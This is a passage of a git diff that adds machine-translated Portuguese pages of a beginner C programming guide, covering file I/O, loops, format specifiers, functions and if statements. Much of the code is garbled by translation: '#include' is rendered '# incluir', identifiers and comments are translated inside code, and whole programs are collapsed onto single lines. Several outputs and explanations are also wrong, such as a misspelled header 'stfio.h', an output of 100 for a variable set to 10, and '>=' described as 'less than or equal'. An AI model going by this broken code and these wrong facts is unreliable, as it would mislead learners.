+The contents of `hello.txt` will, not surprisingly, be 
+```
+
+Olá Mundo!
+```
+Say we have another program called `greet`, similar to `helloworld`, that greets you given your name. 
+```
+
+c
+
+# incluir
+
+# incluir
+
+int main () { // Inicialize uma matriz para conter o nome. nome do caractere \[20\]; // Leia uma string e salve-a no nome. scanf ("% s", nome); // Imprima a saudação. printf ("Olá,% s!", nome); return EXIT\_SUCCESS; }
+```
+Instead of reading from the keyboard, we can redirect `stdin` to read from a file using the `<` tool. 
+```
+
+bater
+
+# Escreva um arquivo contendo um nome.
+
+echo Kamala> name.txt
+
+# Isso lerá o nome do arquivo e imprimirá a saudação na tela.
+
+./greet <nome.txt
+
+# \==> Olá, Kamala!
+
+# Se você quisesse também escrever a saudação em um arquivo, poderia fazê-lo usando ">".
+```
+### The Real Deal 
+ The above methods only worked for the most basic of cases.  If you wanted to do bigger and better things, you will probably want to work with files from within C instead of through the shell. 
+ To accomplish this, you will use a function called `fopen`.  This function takes two string parameters, the first being the file name and the second being the mode. 
+ Mode is basically permissions, so `r` for read, `w` for write, `a` for append.  You can also combine them, so `rw` would mean you could read and write to the file.  There are more modes, but these are the most used. 
+ 
+ After you have a `FILE` pointer, you can use basically the same IO commands you would've used, except that you have to prefix them with `f` and the first argument will be the file pointer. 
+ For example, `printf`'s file version is `fprintf`. 
+ 
+ Here's a program called `greetings` that reads a from a file containing a list of names and writes to another file the greetings. 
+```
+
+c
+
+# incluir
+
+# incluir
+
+int main () { // Cria ponteiros de arquivo. Nomes FILE \* = fopen ("names.txt", "r"); FILE \* greet = fopen ("greet.txt", "w");
+```
+// Check that everything is OK. 
+ if (!names || !greet) { 
+    fprintf(stderr, "File opening failed!\n"); 
+    return EXIT_FAILURE; 
+ } 
+ 
+ // Greetings time! 
+ char name[20]; 
+ // Basically keep on reading untill there's nothing left. 
+ while (fscanf(names, "%s\n", name) > 0) { 
+    fprintf(greet, "Hello, %s!\n", name); 
+ } 
+ 
+ // When reached the end, print a message to the terminal to inform the user. 
+ if (feof(names)) { 
+    printf("Greetings are done!\n"); 
+ } 
+ 
+ return EXIT_SUCCESS; 
+```
+
+}
+```
+Suppose `names.txt` contains the following: 
+```
+
+Kamala Logan Carol
+```
+Then after running `greetings` the file `greet.txt` will contain: 
+```
+
+Olá Kamala! Olá, Logan! Olá Carol! \`\` \`
+
+Super incrível, certo! :sorriso:
+
+### Mais Informações:
+
+*   [Página do Wikilivros no arquivo IO](https://en.wikibooks.org/wiki/C_Programming/File_IO)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/for/index.md b/client/src/guide/portuguese/c/for/index.md
new file mode 100644
index 0000000000..3d0641bbe2
--- /dev/null
+++ b/client/src/guide/portuguese/c/for/index.md
@@ -0,0 +1,46 @@
+---
+title: For Loop
+localeTitle: Para loop
+---
+# Para loop
+
+O loop `for` executa um bloco de código até que uma condição especificada seja falsa. Use `while` laços quando o número de iterações são variáveis, de outro modo utilizar `for` lacetes. Um uso comum de loops `for` são iterações de array.
+
+## Sintaxe do For Loop
+
+```c
+for ( init; condition; increment ) { 
+   statement(s); 
+ } 
+```
+
+O loop `for` consiste em 3 seções, a seção de inicialização, uma condição específica e a seção de operação incremental ou decremental. Essas 3 seções controlam o loop `for` .
+
+A instrução de inicialização é executada apenas uma vez. Então, a expressão de teste é avaliada. Se a expressão de teste for falsa (0), o loop será finalizado. Mas se a expressão de teste for verdadeira (diferente de zero), os códigos dentro do corpo do loop for serão executados e a expressão de atualização será atualizada. Esse processo é repetido até que a expressão de teste seja falsa.
+
+O loop for é comumente usado quando o número de iterações é conhecido.
+
+## Exemplo
+
+```c
+#include <stdio.h> 
+ 
+ int main () { 
+ 
+    int array[] = {1, 2, 3, 4, 5}; 
+ 
+    for (int i = 0; i < 5; i++) { 
+        printf("Item on index %d is %d\n", i, array[i]); 
+    } 
+ } 
+```
+
+## Saída:
+
+```shell
+> Item on index 0 is 1 
+ > Item on index 1 is 2 
+ > Item on index 2 is 3 
+ > Item on index 3 is 4 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/format-specifiers/index.md b/client/src/guide/portuguese/c/format-specifiers/index.md
new file mode 100644
index 0000000000..db75f6a28b
--- /dev/null
+++ b/client/src/guide/portuguese/c/format-specifiers/index.md
@@ -0,0 +1,103 @@
+---
+title: Format Specifiers
+localeTitle: Especificadores de formato
+---
+# Especificadores de formato
+
+Especificadores de formato definem o tipo de dados a serem impressos na saída padrão. Seja para imprimir uma saída formatada ou para receber uma entrada formatada, precisamos de especificadores de formato. Os especificadores de formato também são chamados de string de formato. O especificador de formato é usado durante a entrada e a saída. É uma maneira de informar ao compilador que tipo de dados está em uma variável durante a entrada usando scanf () ou imprimindo usando printf (). Alguns exemplos são% c,% d,% f, etc.
+
+Especificador de formato de caractere:% c
+
+# incluir
+
+int main () { char ch = 'A'; printf ("% c \\ n", ch); return 0; }
+
+Saída: UMA
+
+Especificador de formato inteiro:% d,% i
+
+# incluir
+
+int main () { int x = 45, y = 90; printf ("% d \\ n", x); printf ("% i \\ n", x); return 0; }
+
+Saída: 45 45
+
+Especificador de formato duplo:% f,% e ou% E
+
+# incluir
+
+int main () { float a = 12,67; printf ("% f \\ n", a); printf ("% e \\ n", a); return 0; }
+
+Saída: 12,670000 1.267000e + 01
+
+Número Octal não assinado por inteiro:% o
+
+# incluir
+
+int main () { int a = 67; printf ("% o \\ n", a); return 0; }
+
+Saída: 103
+
+Hexadecimal não assinado para número inteiro:% x,% X
+
+# incluir
+
+int main () { int a = 15; printf ("% x \\ n", a); return 0; }
+
+Saída: f
+
+Impressão em cadeia:% s
+
+# incluir
+
+int main () { char a \[\] = "nitesh"; printf ("% s \\ n", a); return 0; }
+
+Saída: nitesh
+
+* * *
+
+scanf (formato char \*, arg1, arg2,…)
+
+número inteiro decimal:% d
+
+# incluir
+
+int main () { int a = 0; scanf ("% d", & a); // entrada é 45 printf ("% d \\ n", a); return 0; }
+
+saída: 45
+
+Inteiro pode ser octal ou hexadecimal:% i
+
+# incluir
+
+int main () { int a = 0; scanf ("% i", & a); // input é 017 (octal de 15) printf ("% d \\ n", a); scanf ("% i", & a); // a entrada é 0xf (hexadecimal de 15) printf ("% d \\ n", a); return 0; }
+
+saída: 15 15
+
+Tipo de dados flutuante:% f,% e (double),% lf (long double)
+
+# incluir
+
+int main () { float a = 0,0; scanf ("% f", & a); // a entrada é 45,65 printf ("% f \\ n", a); return 0; }
+
+Saída: 0.000000
+
+Entrada de cadeia:% s
+
+# incluir
+
+int main () { char str \[20\]; scanf ("% s", str); // input is nitesh printf ("% s \\ n", str); return 0; }
+
+Saída: nitesh
+
+Entrada de caracteres:% c
+
+# incluir
+
+int main () { char ch; scanf ("% c", & ch); // input é A printf ("% c \\ n", ch); return 0; }
+
+saída: UMA
+
+Os% especificadores que você pode usar no ANSI C são:
+
+| Especificador | Usado Para | |: -------------: |: -------------: | | % c | um único caractere | | % s | uma corda | | % hi | curto (assinado) | | % hu | curto (sem assinatura) | | % Lf | longa dupla | | % n | imprime nada | | % d | um inteiro decimal | | % o | um inteiro octal (base 8) | | % x | um inteiro hexadecimal (base 16) | | % p | um endereço (ou ponteiro) | | % f | um número de ponto flutuante para flutuadores | | % u | int unsigned decimal | | % e | um número de ponto flutuante em notação científica | | % E | um número de ponto flutuante em notação científica | | %% | O símbolo! |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/functions/index.md b/client/src/guide/portuguese/c/functions/index.md
new file mode 100644
index 0000000000..300724d474
--- /dev/null
+++ b/client/src/guide/portuguese/c/functions/index.md
@@ -0,0 +1,129 @@
+---
+title: Functions
+localeTitle: Funções
+---
+# Funções em C
+
+Às vezes, você tem um pedaço de código que precisa ser usado várias vezes, mas em horários e locais diferentes em seu código. Você pode copiá-lo e colá-lo várias vezes, mas essa não é uma ótima solução: seu tamanho de arquivo acaba sendo maior, seu código é mais difícil de depurar e seu código é mais difícil de ler. Em vez disso, use uma função: funções são como mini-programas que existem dentro do seu código. Você pode passar variáveis ​​para usar, e eles podem retornar dados.
+
+## Um exemplo
+
+Aqui está um exemplo simples de uma função que divide dois números. Não é muito útil porque temos `/` , mas mostra as diferentes partes de uma função.
+
+```C
+#include <stdio.h> 
+ 
+ int divides(int a, int b) { 
+    return a / b; 
+ } 
+ 
+ int main(void) { 
+    int first = 5; 
+    int second = 10; //MUST NOT BE ZERO; 
+ 
+    int result = divides(first, second); 
+ 
+    printf("first divided by second is %i\n", result); 
+ 
+    return 0; 
+ } 
+```
+
+Observe que, como `main` , as `divides` têm um formato similar. Isso é porque `main` também é uma função - é apenas especial porque C procura primeiro. `divides` também vem antes do `main` . Isso é importante porque as chamadas `main` `divides` . Chamar uma função significa que seu código está sendo usado. O código deve ser compilado antes de ser usado, e C compila linha por linha a partir do topo, então para que uma função seja chamada, ela deve ser escrita antes de ser chamada como neste exemplo. Se `divides` vieram depois de `main` , ele falharia porque o compilador não sabe que as `divides` ainda existem. Você também pode usar um protótipo de função antes de main para permitir que você coloque `divides` após main. Um protótipo de função é idêntico à função com as mesmas variáveis ​​e tipo de retorno, exceto que os colchetes são omitidos e substituídos por um ponto-e-vírgula da seguinte forma:
+
+```C
+int divides(int a, int b); 
+```
+
+Observe também que as `divides` e `main` não estão compartilhando colchetes e não estão nos colchetes um do outro. Eles devem ser separados, mesmo que um chame o outro.
+
+Com isso em mente, vamos examinar a primeira linha de uma função em nossa próxima seção, intitulada:
+
+## Quebrando a declaração da função
+
+```C
+int divides(int a, int b) 
+```
+
+A declaração da função começa com um tipo de dados, que neste caso é `int` . Seja qual for o tipo de dados que você deseja que a função retorne, você deve colocar aqui. Você pode ter o retorno como qualquer tipo de dados, ou pode não haver nenhum tipo de dado colocando aqui `void` .
+
+Em seguida é o nome da função. Sempre que você quiser chamar a função, este é o nome que você usará. Tente fazer com que seja algo descritivo, para que você possa identificar facilmente o que faz.
+
+Depois do nome vem um par de parênteses. Nesses parênteses, vão os parâmetros da nossa função, que são as variáveis ​​que essa função tomará e usará quando o código for executado. Nesse caso, existem dois. Ambos são o tipo de dados `int` e serão denominados `a` e `b` . Idealmente, haveria nomes melhores para usar aqui, mas você descobrirá que, para métodos simples e rápidos, nomes de variáveis ​​temporários são usados ​​com frequência.
+
+Agora vamos dar uma olhada no que está dentro dos colchetes:
+
+```C
+return a / b; 
+```
+
+Isto é bastante simples, porque esta é uma função tão simples. `a` é dividido por `b` e esse valor é retornado. Você viu `return` antes na função `main` , mas agora, em vez de encerrar nosso programa, ele finaliza o método e fornece o valor para qualquer nome que tenha sido chamado.
+
+Então, para recapitular o que essa função faz, obtém dois inteiros, os divide e os devolve ao que quer que seja chamado.
+
+### Parâmetros de uma função
+
+Parâmetros são usados ​​para passar argumentos para a função. Seus são dois tipos de parâmetros: O parâmetro escrito na definição de função é chamado de "Parâmetro formal". O parâmetro escrito na chamada de função é chamado de “parâmetro real”. Eles também são conhecidos como argumentos. Eles são passados ​​para a definição da função e uma cópia é criada na forma de parâmetros formais.
+
+## Um exemplo mais complexo
+
+Aquela era uma função de linha única. Você os verá quando houver uma operação bem simples que precise ser executada repetidamente, ou uma operação que acabe sendo uma linha longa. Ao tornar isso uma função, o código acaba sendo mais legível e gerenciável.
+
+Dito isto, a maioria das funções não será uma única linha de código. Vamos dar uma olhada em outro exemplo, um pouco mais complexo, que escolhe o maior dos dois números.
+
+```C
+int choose_bigger_int(int a, int b) { 
+    if(a > b) 
+        return a; 
+ 
+    if(b > a) 
+        return b; 
+ 
+    return a; 
+ } 
+```
+
+Assim como antes, a função vai retornar um inteiro e recebe dois inteiros. Nada de novo para ver lá.
+
+Este código começa com uma instrução if que verifica se `a` é maior que `b` . Caso isso aconteça, ele retornará `a` . Se isso for feito, a função termina aqui - o restante do código não é avaliado. Se esta declaração de retorno não for atingida, no entanto, a próxima instrução if será avaliada. Se for verdade, `b` será retornado e a função termina aqui.
+
+Com isso, as condições para um ser maior que b, e b sendo maior que um, foram contabilizadas. No entanto, se a for igual a b, a função ainda não terá retornado nada. Por essa razão, retornamos a (a é igual a b, então poderíamos retornar também).
+
+## Uma palavra sobre 'escopo'
+
+O escopo é uma coisa para estar ciente. Refere-se às áreas em seu código onde uma variável é acessível. Quando você passa uma variável para uma função, a função obtém sua própria cópia para usar. Isso significa que o ajuste da variável na função não a ajustará em nenhum outro lugar. Da mesma forma, se você não tiver passado uma variável para uma função, ela não terá e não poderá usá-la.
+
+Você pode ter observado um problema semelhante com coisas como instruções if e qualquer um dos loops. Se você declarar uma variável entre colchetes, ela não estará acessível fora desses colchetes. Isto é verdade para as funções da mesma maneira, mas existem algumas maneiras de contornar isso:
+
+*   Faça uma variável global declarando-a fora de qualquer função
+*   Isso torna seu código mais confuso e geralmente não é recomendado. Deve ser evitado sempre que possível
+*   Use ponteiros, sobre os quais você lerá a seguir
+*   Isso pode tornar seu código mais difícil de ler e depurar
+*   Passe em suas funções como você deveria
+*   Esta é a melhor maneira de fazer isso, se isso for uma opção
+
+Idealmente, você sempre passará para as suas funções como parâmetros, mas nem sempre poderá fazê-lo. Escolher a melhor solução é o seu trabalho como programador.
+
+Recursão em C Quando a função é chamada dentro da mesma função, ela é conhecida como recursão em C. A função que chama a mesma função é conhecida como função recursiva.
+```
+int factorial (int n) 
+ { 
+    if ( n < 0) 
+        return -1; /*Wrong value*/ 
+    if (n == 0) 
+        return 1; /*Terminating condition*/ 
+    return (n * factorial (n -1)); 
+ } 
+```
+
+# Antes de você ir ...
+
+## Uma revisão
+
+*   As funções são boas de usar porque tornam seu código mais limpo e mais fácil de depurar.
+*   Funções precisam ser declaradas antes de serem chamadas.
+*   Funções precisam ter um tipo de dados para retornar - se nada for retornado, use `void` .
+*   Funções levam parâmetros para trabalhar - se eles não estão tomando nada, use `void` .
+*   `return` termina a função e retorna um valor. Você pode ter vários em uma função, mas assim que você acerta, a função termina aí.
+*   Quando você passa uma variável para uma função, ela tem sua própria cópia para usar - mudar alguma coisa em uma função não a altera fora da função.
+*   Variáveis ​​declaradas dentro de uma função só são visíveis dentro dessa função, a menos que sejam declaradas estáticas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/hello-world/index.md b/client/src/guide/portuguese/c/hello-world/index.md
new file mode 100644
index 0000000000..dc552ec069
--- /dev/null
+++ b/client/src/guide/portuguese/c/hello-world/index.md
@@ -0,0 +1,37 @@
+---
+title: Hello World C
+localeTitle: Olá mundo C
+---
+\## Olá Mundo
+
+Para escrever no console você pode usar a função `printf()` contida na biblioteca `include <stdio.h>`
+
+\`\` \`C #incluir
+
+int main (void) {
+```
+ printf("hello, world\n");  //lines starting with this are called comments.. 
+ 
+ return 0; 
+```
+
+} \`\` \` ## Explicação
+
+*   O #include é um comando de pré-processador. Este comando informa ao compilador para incluir o conteúdo do arquivo stdio.h (entrada e saída padrão) no programa.
+    
+*   O arquivo stdio.h contém funções como scanf () e print () para receber entrada e exibir a saída respectivamente.
+    
+*   Se você usa a função printf () sem escrever #include , o programa não será compilado.
+    
+*   A execução de um programa em C começa a partir da função main ().
+    
+*   O printf () é uma função da biblioteca para enviar saída formatada para a tela. Neste programa, o printf () exibe Hello, World! texto na tela.
+    
+*   O retorno 0; statement é o "status de saída" do programa. Em termos simples, o programa termina com esta declaração
+    
+    ## Saída:
+    
+    \`\` \`
+    
+
+> Olá Mundo \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/if-statements/index.md b/client/src/guide/portuguese/c/if-statements/index.md
new file mode 100644
index 0000000000..d1aab06665
--- /dev/null
+++ b/client/src/guide/portuguese/c/if-statements/index.md
@@ -0,0 +1,238 @@
+---
+title: Logical Operators and If Statements
+localeTitle: Operadores lógicos e se declarações
+---
+# Se as declarações em C
+
+A capacidade de alterar o comportamento de uma parte do código baseada em determinadas informações no ambiente é conhecida como fluxo de código condicional. Às vezes, você deseja que seu código seja executado de acordo com determinadas condições. Em tal situação, podemos usar instruções If. Também é conhecida como declaração de tomada de decisão, uma vez que toma a decisão com base em determinada expressão (ou em determinada condição). Se a expressão for avaliada como verdadeira, o bloco de código dentro da instrução 'if' será executado. Se a expressão for avaliada como false, o primeiro conjunto de códigos após o término da instrução 'if' (após a chave de fechamento) será executado.Uma expressão é uma expressão que possui operadores relacionais e / ou lógicos operando em variáveis ​​booleanas. . Uma expressão é avaliada como verdadeira ou falsa.
+
+## Sintaxe da _instrução if_
+```
+if (testExpression) { 
+   // statements 
+ } 
+```
+
+## Um exemplo simples
+
+Vamos ver um exemplo disso em ação:
+
+```C
+#include <stdio.h> 
+ #include <stdbool.h> 
+ 
+ int main(void) { 
+    if(true) { 
+        printf("Statement is True!\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+```
+output: 
+ Statement is True! 
+```
+
+Assim como helloworld.c, stdio.h foi incluído. Novo neste programa é stdbool.h, que é a biblioteca booleana padrão - contém código que nos dá acesso a 'true' e 'false'.
+
+Outra novidade no exemplo acima é a declaração 'if'. Se a declaração dentro dos parênteses for verdadeira, o código dentro dos colchetes da instrução if será executado. No caso deste exemplo, true é true, então o código executará a função `printf` .
+
+## If-else
+
+Na instrução 'If-else', Se a instrução dentro do parêntese for verdadeira, o código dentro dos colchetes da declaração 'if' será executado e se a instrução dentro do parêntese for falsa, o código dentro dos colchetes do ' else 'declaração será executada.
+
+Claro, esse exemplo não foi muito útil, porque a verdade é sempre verdadeira. Aqui está outro que é um pouco mais prático:
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int n = 2; 
+ 
+    if(n == 3) { // comparing n with 3 
+        printf("Statement is True!\n"); 
+    } 
+    else { // if first condition is not true, then comes to this block of code. 
+        printf("Statement is False!\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+```
+output: 
+ Statement is False! 
+```
+
+Existem algumas coisas importantes que são diferentes aqui. Primeiro, o `stdbool.h` não foi incluído. Tudo bem, porque `true` e `false` não estão sendo usadas. Em C, temos declarações que são tratadas como verdadeiras e falsas, embora as palavras verdadeiro ou falso não estejam envolvidas na operação.
+
+Dentro do parêntese da instrução if é algo novo também: `n == 3` . Esta é uma comparação entre `n` e o número 3. `==` é o operador de comparação e é uma das várias operações de comparação em C.
+
+## Aninhado if-else
+
+A instrução if-else permite que uma escolha seja feita entre duas alternativas possíveis. Às vezes, uma escolha deve ser feita entre mais de duas possibilidades. Por exemplo, a função de sinal em matemática retorna -1 se o argumento for menor que zero, retorna +1 se o argumento for maior que zero e retorna zero se o argumento for zero. A seguinte instrução C ++ implementa essa função:
+
+```C
+if (x < 0) 
+   sign = -1; 
+ else 
+   if (x == 0) 
+      sign = 0; 
+   else 
+      sign = 1; 
+```
+
+Esta é uma declaração if-else em que a instrução seguinte a else é ela própria uma instrução if-else. Se x for menor que zero, o sinal será definido como -1, no entanto, se não for menor que zero, a instrução após o else será executada. Nesse caso, se x for igual a zero, o sinal será definido como zero e, caso contrário, será definido como 1. Os programadores novatos geralmente usam uma sequência de instruções if em vez de usar uma instrução if-else aninhada. Ou seja, eles escrevem o acima na forma logicamente equivalente:
+
+```C
+if (x < 0) 
+   sign = -1; 
+ if (x == 0) 
+   sign = 0; 
+ if (x > 0) 
+   sign = 1; 
+```
+
+Esta versão não é recomendada, pois não deixa claro que apenas uma das instruções de atribuição será executada para um determinado valor de x. Também é ineficiente, pois todas as três condições são sempre testadas.
+
+## Operadores de Comparação
+
+Nome do Operador | Uso | Resultado do Operador ---------------------------- |: ---------: | --------- -------- Igual a | a == b | Verdadeiro se a é igual a b, falso caso contrário Não é igual a | a! = b | Verdadeiro se a não é igual a b, falso caso contrário Maior que | a> b | Verdadeiro se a for maior que b, falso de outra forma Maior que ou igual a | a> = b | Verdadeiro se a for maior que ou igual a b, falso caso contrário Menos que | a <b | Verdadeiro se a for menor que b, falso de outra forma Menor ou igual a | a <= b | Verdadeiro se a for menor ou igual a b, falso de outra forma
+
+Esse exemplo também tem uma nova palavra: `else` . O código dentro do bloco `else` é executado apenas se o código dentro do `if` não for executado.
+
+Há muito o que podemos fazer com todos esses operadores! Considere o seguinte, onde usaremos uma instrução if-else:
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int n = 5; 
+ 
+    if(n == 5) { 
+        printf("n is equal to 5!\n"); 
+    } 
+    else if (n > 5) { 
+        printf("n is greater than 5!\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+```
+output: 
+ n is equal to 5! 
+```
+
+A instrução if-else possui um 'else if' anexado a ela. Esse código é executado se a condição dentro do if anterior era falsa, mas adiciona uma condição dentro de seus próprios parênteses que deve ser verdadeira antes que o código seja executado.
+
+## Operadores lógicos
+
+Claro, podemos querer que algo aconteça se não for verdade, ou se isso e alguma outra coisa forem verdade. Para isso, temos operadores lógicos:! para não, && para e, e || para ou. Vamos dar uma olhada nisso em ação:
+
+```C
+#include <stfio.h> 
+ 
+ int main(void) { 
+    int n = 5; 
+    int m = 10; 
+ 
+    if(n > m || n == 15) { 
+        printf("Either n is greater than m, or n is equal to 15\n"); 
+    } 
+    else if( n == 5 && m == 10 ) { 
+        printf("n is equal to 5 and m is equal to 10!\n"); 
+    } 
+    else if ( !(n == 6)) { 
+        printf("It is not true that n is equal to 6!\n"); 
+    } 
+    else if (n > 5) { 
+        printf("n is greater than 5!\n"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+```
+output: 
+ n is equal to 5 and m is equal to 10! 
+```
+
+Aqui está o primeiro conjunto de parênteses: `n > m || n == 5` . Isso será verdadeiro se n for maior que m, ou se n for igual a 5. n não for maior que m, mas n for igual a 5. Porque uma dessas coisas é verdadeira, e elas são unidas por um ou, isso declaração será verdadeira e o código dentro será impresso.
+
+Como o código anterior foi executado, ele não verificará as outras declarações, que só serão verificadas se as anteriores não forem verificadas. Apenas para o exercício, no entanto, considere o que o resto do código estaria verificando. `n == 5 && m == 10` será verdadeiro se n for igual a 5 e m for igual a 10. Isto é verdade, mas se n for 6 não será mais verdadeiro e o código dentro disso não será executado .
+
+`!(n == 6)` usa parênteses para tornar a operação mais óbvia. Assim como em matemática, parênteses podem ser usados ​​para ordem de operações: coisas dentro dos parênteses serão executadas antes de coisas que não estão entre parênteses. Portanto, neste caso, `n == 6` será avaliado e é falso. O `!` , 'not', inverte isto de false para true, então esta operação retorna true. Como antes, no entanto, ele não será executado apenas porque uma das instruções anteriores era verdadeira e que isso é anexado já teria sido executado.
+
+Finalmente, `n > 5` avaliado como verdadeiro? A resposta é não, porque n _é_ 5 e, portanto, não é maior que 5. Como resultado, esse código não será avaliado como verdadeiro. Para que essa avaliação seja verdadeira, o operador `>=` deve ser usado.
+
+## Um detalhe sobre comparações C
+
+Anteriormente você leu que as comparações estão verificando se algo é verdadeiro ou falso, mas isso é realmente apenas a metade da verdade. Lembre-se que C é sobre ser leve e próximo ao hardware, é fácil verificar se algo é 0, e qualquer outra coisa requer mais trabalho. Por causa disso, o que as comparações estão realmente fazendo é verificar se algo é falso, que é atribuído o valor 0, ou verificar se não é falso (qualquer outro valor).
+
+Como resultado, esta declaração if é verdadeira e válida:
+
+```C
+if(12452) { 
+    printf("This is true!\n") 
+ } 
+```
+
+Por design, 0 é falso e, por convenção, 1 é verdadeiro. De fato, aqui está uma olhada na biblioteca `stdbool.h` descrita anteriormente:
+
+```C
+#define false   0 
+ #define true    1 
+```
+
+Na verdade, há um pouco mais nisso, mas essa é a parte que faz todo o trabalho.
+
+Essas duas linhas de código informam ao compilador que a palavra 'false' deve ser substituída por '0', e a palavra 'true' deve ser substituída por '1'. `stdbool.h` também tem algumas instruções de documentação e compilador que serão discutidas mais tarde, mas essas duas linhas são tudo o que realmente existe.
+
+# Dicas e truques
+
+Considere o código abaixo:
+
+```C
+#include <stdio.h> 
+ 
+ int main() { 
+    int i=3; 
+ 
+    if(i=4) { 
+      printf("This block is executed"); 
+    } 
+    else { 
+      printf("NO! I am boss"); 
+    } 
+ } 
+```
+
+Qual será o resultado? "NÃO! Eu sou chefe"? Se você está adivinhando esta saída, então você está errado. Por quê isso aconteceu? porque na instrução if você usou "=" em vez de "==". "==" é comparador.
+
+Ele irá comparar entre duas variáveis, mas "=" é um operador de atribuição quando dissemos i = 4, simplesmente atribuímos o valor 4 ao inteiro i e, como em "C", todo valor NON-ZERO é verdadeiro if (i = 4) é uma declaração verdadeira e instruções sob isso serão executadas
+
+# Antes de você ir ...
+
+## Uma revisão
+
+*   Se as instruções 'if' verificam se a expressão é verdadeira, então ele executa o código dentro das chaves.
+*   'else' pode ser adicionado ao final de um 'if' e será executado somente se a instrução if (s) anterior for falsa.
+*   'else if' também pode ser adicionado ao final de um 'if' e será executado somente se a instrução if (s) anterior for falsa.
+*   Tudo em um computador é representado por números, portanto, toda comparação em C pode ser feita tratando valores como números - até mesmo verdadeiros, falsos e caracteres.
+*   Há um monte de operadores de comparação:
+*   \== é igual a
+*   ! = não é igual a
+*   \> é maior que
+*   <é menor que
+*   \> = é menor ou igual a
+*   <= é menor ou igual a
+*   Também temos alguns operadores lógicos, que nos permitem encadear operações lógicas:
+*   ! chama-se NOT operator-Inverte o estado do operando
+*   && é chamado AND operator-Retorna true quando ambas as condições são verdadeiras
+*   || é chamado OU operador-Retorna verdadeiro quando pelo menos uma das condições é verdadeira
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/if/index.md b/client/src/guide/portuguese/c/if/index.md
new file mode 100644
index 0000000000..246fa545e5
--- /dev/null
+++ b/client/src/guide/portuguese/c/if/index.md
@@ -0,0 +1,62 @@
+---
+title: If
+localeTitle: E se
+---
+# E se
+
+A instrução if executa diferentes blocos de código com base nas condições.
+```
+if (condition) { 
+    // Do something when `condition` is true 
+ } 
+ else { 
+    // Do something when `condition` is false 
+ } 
+```
+
+Quando a `condition` é verdadeira, o código dentro da seção `if` executado, caso `else` executado. Às vezes você precisaria adicionar uma segunda condição. Para facilitar a leitura, você deve usar uma instrução `else if` vez de aninhar `if` .
+```
+if (condition) { 
+    // Do something if `condition` is true 
+ } 
+ else if (anotherCondition) { 
+    // Do something if `anotherCondition` is ture 
+ } 
+ else { 
+    // Do something if `condition` AND `anotherCondition` is false 
+ } 
+```
+
+Observe que o `else` e `else if` seções não forem necessárias, enquanto `if` for obrigatório.
+
+## Exemplo
+```
+#include <stdio.h> 
+ 
+ int main () { 
+ 
+   // Local variable definition 
+   int a = 10; 
+ 
+   // Check the boolean condition 
+   if(a < 5) { 
+      // If condition is true then print the following 
+      printf("a is less than 5!\n" ); 
+   } 
+   else { 
+      // If condition is false then print the following 
+      printf("a is not less than 5!\n" ); 
+   } 
+ 
+   printf("Value of a is : %d\n", a); 
+ 
+   return 0; 
+ } 
+```
+
+## Saída
+```
+-> a is not less than 5! 
+ -> Value of a is : 100 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/index.md b/client/src/guide/portuguese/c/index.md
new file mode 100644
index 0000000000..49072fc083
--- /dev/null
+++ b/client/src/guide/portuguese/c/index.md
@@ -0,0 +1,135 @@
+---
+title: C
+localeTitle: C
+---
+# Olá Mundo! - Seu primeiro programa em C
+
+## Tirando o máximo proveito deste curso
+
+Certifique-se de que você está confortável com todos os conceitos nesta parte do guia antes de prosseguir. Obtendo seu primeiro programa em execução é importante porque permitirá que você siga junto com os exemplos, o que é outra coisa boa para fazer prática faz perfeito! Conceitos que podem ser confusos terão uma anotação vinculada a um apêndice. Se você não entende um conceito, consulte o apêndice para mais informações.
+
+## Objetivo do curso
+
+Os objetivos deste curso são ensinar a linguagem C para iniciantes. Idealmente, alguém que nunca tocou uma linguagem de computador antes poderá conhecer C seguindo estes guias. No entanto, eles ainda serão úteis para programadores mais experientes, incluindo um resumo no final de cada artigo. Embora o conteúdo ensinado aqui seja transferível para microcontroladores como o Arduino, não é o foco deste guia.
+
+## O que é C?
+
+C é uma linguagem de programação de uso geral inventada por Dennis Ritchie entre 1969 e 1973 no Bell Labs. Desde então, ele tem sido usado para criar coisas como o Linux Kernel, que permite que o software interaja com o hardware em sistemas operacionais baseados em Linux. Ele pode fazer isso e outras operações de baixo nível, porque ele foi projetado para ficar muito próximo do código da máquina e, ao mesmo tempo, ser legível por humanos. Por isso, fornece acesso direto à memória e ao hardware do computador. Isso torna muito útil em aplicativos de hardware e robótica, onde é importante ter acesso a esses recursos rapidamente. C, como outras linguagens de baixo nível, requer compilação. O processo de compilação pega o código C que pode ser lido por uma pessoa e transforma-o em código que pode ser lido e executado por um computador. A compilação requer um compilador, que pode ser usado a partir da linha de comando ou pode ser usado em um IDE.
+
+Se você preferir usar a linha de comando, considere o `gcc` . Ele pode ser encontrado por padrão nos sistemas operacionais GNU + Linux e no Mac, e é fácil de obter no Windows. Para iniciantes, no entanto, ter um IDE pode ser mais confortável. Considere CodeBlocks ou Xcode se você estiver interessado em poder escrever e executar código a partir de uma GUI.
+
+Agora que você tem esse histórico, vamos começar com nosso programa 'Hello, World'. "Hello, World" é uma forma tradicional de começar com uma linguagem: mostra que podemos escrever código e executá-lo, por isso é um bom começo!
+
+## Olá mundo em C
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) 
+ { 
+    printf("hello, world\n"); 
+    return 0; 
+ } 
+```
+
+Vamos quebrar este programa passo a passo.
+
+Primeiro é o `#include` :
+
+```C
+#include <stdio.h> // This is called preprocessor directives 
+```
+
+Esta é uma instrução para o compilador para localizar e incluir um conjunto de arquivos de cabeçalho. Os arquivos de cabeçalho contêm código adicional que podemos usar. Nesse caso, o compilador foi instruído a incluir `<stdio.h>` , que contém todos os tipos de funções úteis, como `printf()` . Também podemos escrever como `#include"stdio.h"` . Vamos entrar em detalhes sobre quais funções são posteriores, mas por enquanto lembre-se que uma função é uma coleção de código que podemos usar.
+
+```C
+int main(void) 
+ { 
+ } 
+```
+
